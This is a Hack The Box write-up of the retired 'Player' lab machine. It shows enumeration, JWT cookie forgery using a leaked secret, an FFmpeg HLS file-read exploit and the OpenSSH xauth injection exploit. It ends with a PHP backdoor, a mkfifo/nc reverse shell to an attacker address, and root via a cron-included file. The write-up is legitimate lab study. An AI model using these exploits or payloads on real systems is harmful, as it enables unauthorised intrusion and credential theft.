Ahmed Hesham
CyberSec/InfoSec enthusiast.
Interested in knowing how things work/Interested in breaking them, always learning.

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Hack The Box - Player

My write-up / walkthrough for Player from Hack The Box.

Quick Summary


Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !


Nmap


As always we will start with nmap to scan for open ports and services:

root@kali:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST
Nmap scan report for player.htb (10.10.10.145)
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open  http    Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
root@kali:~/Desktop/HTB/boxes/player# 


We got http on port 80 and ssh on port 22.


Web Enumeration


I got a 403 response when I went to http://player.htb/:


I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:

root@kali:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************
Target: http://10.10.10.145/
Total requests: 4997
===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================
000000019:   200        86 L     229 W    5243 Ch     "dev"
000000067:   200        63 L     180 W    1470 Ch     "staging"
000000070:   200        259 L    714 W    9513 Ch     "chat"

Total time: 129.1540
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 38.69021

root@kali:~/Desktop/HTB/boxes/player# 


I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:


staging was kinda empty but there was an interesting contact form:






The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:




I intercepted the request with burp to read the error.
Request:

GET /contact.php?firstname=test&subject=test HTTP/1.1
Host: staging.player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://staging.player.htb/contact.html
Connection: close
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 200 OK
Date: Fri, 17 Jan 2020 19:54:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html

array(3) {
  [0]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(6)
    ["function"]=>
    string(1) "c"
    ["args"]=>
    array(1) {
      [0]=>
      &string(9) "Cleveland"
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(3)
    ["function"]=>
    string(1) "b"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Glenn"
    }
  }
  [2]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(11)
    ["function"]=>
    string(1) "a"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Peter"
    }
  }
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php


The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later.
chat was a static page that simulated a chat application:


I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :




  1. Staging exposing sensitive files.
  2. Main domain exposing source code allowing to access the product before release.


We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:

root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://player.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/01/17 19:17:29 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)
===============================================================
2020/01/17 19:18:59 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/player# 


http://player.htb/launcher:


I tried to submit that form but it did nothing, I just got redirected to /launcher again:
Request:

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:45:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: index.html
Content-Length: 0
Connection: close
Content-Type: text/html


We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):

root@kali:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
        $key = '_S0_R@nd0m_P@ss_';
        $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
        if($decoded->access_code === "0E76658526655756207688271159624026011393")
        {
                header("Location: 7F2xxxxxxxxxxxxx/");
        }
        else
        {
                header("Location: index.html");
        }
}
else
{
        $token_payload = [
          'project' => 'PlayBuff',
          'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
        ];
        $key = '_S0_R@nd0m_P@ss_';
        $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
        $cookiename = 'access';
        setcookie('access',$jwt, time() + (86400 * 30), "/");
        header("Location: index.html");
}

?>
root@kali:~/Desktop/HTB/boxes/player#


It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html.
We have the secret _S0_R@nd0m_P@ss_ so we can easily craft a valid cookie. I used jwt.io to edit my token.




I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1:
Request:

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE
Upgrade-Insecure-Requests: 1


Response:

HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:50:59 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: 7F2dcsSdZo6nj3SNMTQ1/
Content-Length: 0
Connection: close
Content-Type: text/html




FFmpeg HLS Vulnerability –> Arbitrary File Read


I uploaded a test txt file:




I got an avi file as a result which was weird:

<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi">


I tried some other file formats and I also got an avi file.
So I tried the ffmpeg HLS exploit, I created a test avi to read /etc/passwd and it worked:

root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi
root@kali:~/Desktop/HTB/boxes/player/avi# file test.avi 
test.avi: RIFF (little-endian) data, AVI, 224 x 160, 25.00 fps,
root@kali:~/Desktop/HTB/boxes/player/avi#




I created 3 more avis to read the files we got earlier from the error message from staging:

root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi
root@kali:~/Desktop/HTB/boxes/player/avi#


contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:


I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:

root@kali:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.10.10.145                                    
Discovered open port 80/tcp on 10.10.10.145                                    
Discovered open port 6686/tcp on 10.10.10.145


I scanned that port with nmap but it couldn’t identify the service:

PORT     STATE SERVICE    VERSION
6686/tcp open  tcpwrapped


However when I connected to the port with nc the banner indicated that it was an ssh server:

root@kali:~/Desktop/HTB/boxes/player# nc player.htb 6686
SSH-2.0-OpenSSH_7.2

Protocol mismatch.
root@kali:~/Desktop/HTB/boxes/player#


I could login to that ssh server with the credentials, but unfortunately I was in a restricted environment:

root@kali:~/Desktop/HTB/boxes/player# ssh telegen@player.htb -p 6686
The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established.
ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts.
telegen@player.htb's password: 
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.xx.xx 43270 6686
  SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686
  SSH_TTY=/dev/pts/4
  TERM=screen
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ help
  clear  exit  help  history  lpath  lsudo
telegen:~$ lsudo
Allowed sudo commands:
telegen:~$ lpath
Allowed:
 /home/telegen
telegen:~$ pwd
*** forbidden command: pwd
telegen:~$ 



OpenSSH 7.2p1 xauth Command Injection –> User Flag


When I searched for exploits for that version of openssh I found this exploit.

root@kali:~/Desktop/HTB/boxes/player# python 39569.py 
 Usage: <host> <port> <username> <password or path_to_privkey>
        
        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
        

root@kali:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
telegen:x:1000:1000:telegen,,,:/home/telegen:/usr/bin/lshell
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL
colord:x:106:116:colord
staged-dev:x:4000000000:1001::/home/staged-dev:/bin/sh
#> 


I tried to use .writefile to write a php file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:


Credentials in fix.php –> RCE –> Shell as www-data


Earlier I couldn’t read fix.php through the ffmpeg exploit, I was able to read it as telegen and I found credentials for a user called peter:

#> .readfile /var/www/staging/fix.php                                    
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'          
DEBUG:__main__:dummy exec returned: None
INFO:__main__:<?php       
class                            
protected                                          
protected                                      
protected                                      
public                                       
return                                          
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
if($result
static::failed($test_name);
}
static::passed($test_name);
}
}
public
if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
echo
echo
echo
}
private
echo
static::$failed++;
}
private
static::character(".");
static::$passed++;
}
private
echo
static::$last_echoed
}
private
if(static::$last_echoed
echo
static::$last_echoed
}
}
#> 


These credentials (peter : CQXpm\z)G5D#%S$y=) worked with dev.player.htb:




I tried to create a new project in /var/www/html:


But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there:


When I ran gobuster on http://dev.player.htb/ there was a directory called home:

root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://dev.player.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/01/17 20:18:00 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/components (Status: 301)
/data (Status: 301)
/favicon.ico (Status: 200)
/home (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/languages (Status: 301)
/lib (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
===============================================================
2020/01/17 20:19:49 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/player# 


I wanted to see if that was related to /var/www/demo/home so I created a file called test.php that echoed test and I tried to access it through /home:




It worked so I edited my test file and added the php-simple-backdoor code and got a reverse shell:




root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.145] 56714
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@player:/var/www/demo/home$ ^Z
[1]+  Stopped                 nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/player# stty raw -echo
root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337

www-data@player:/var/www/demo/home$ export TERM=screen
www-data@player:/var/www/demo/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@player:/var/www/demo/home$ 



Root Flag


when I ran pspy to monitor the processes I noticed that /var/lib/playbuff/buff.php got executed as root periodically:

2020/01/18 05:25:02 CMD: UID=0    PID=3650   | /usr/bin/php /var/lib/playbuff/buff.php 


I couldn’t write to it but it included another php file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php):

www-data@player:/tmp$ cd /var/lib/playbuff/
www-data@player:/var/lib/playbuff$ cat buff.php 
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
        public $logFile="/var/log/playbuff/logs.txt";
        public $logData="Updated";

        public function __wakeup()
        {
                file_put_contents(__DIR__."/".$this->logFile,$this->logData);
        }
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
        if($query)
        {
                echo 'Update Success with serialized logs!';
        }
}
else
{
        file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
        if($query)
        {
                echo 'Update Success!';
        }
}
?>
www-data@player:/var/lib/playbuff$ 


I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:

www-data@player:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

system("bash -c /tmp/pwned.sh");

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>
www-data@player:/$ cat /tmp/pwned.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1338 >/tmp/f
www-data@player:/$ 




And we owned root !
That’s it , Feedback is appreciated !
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Thanks for reading.


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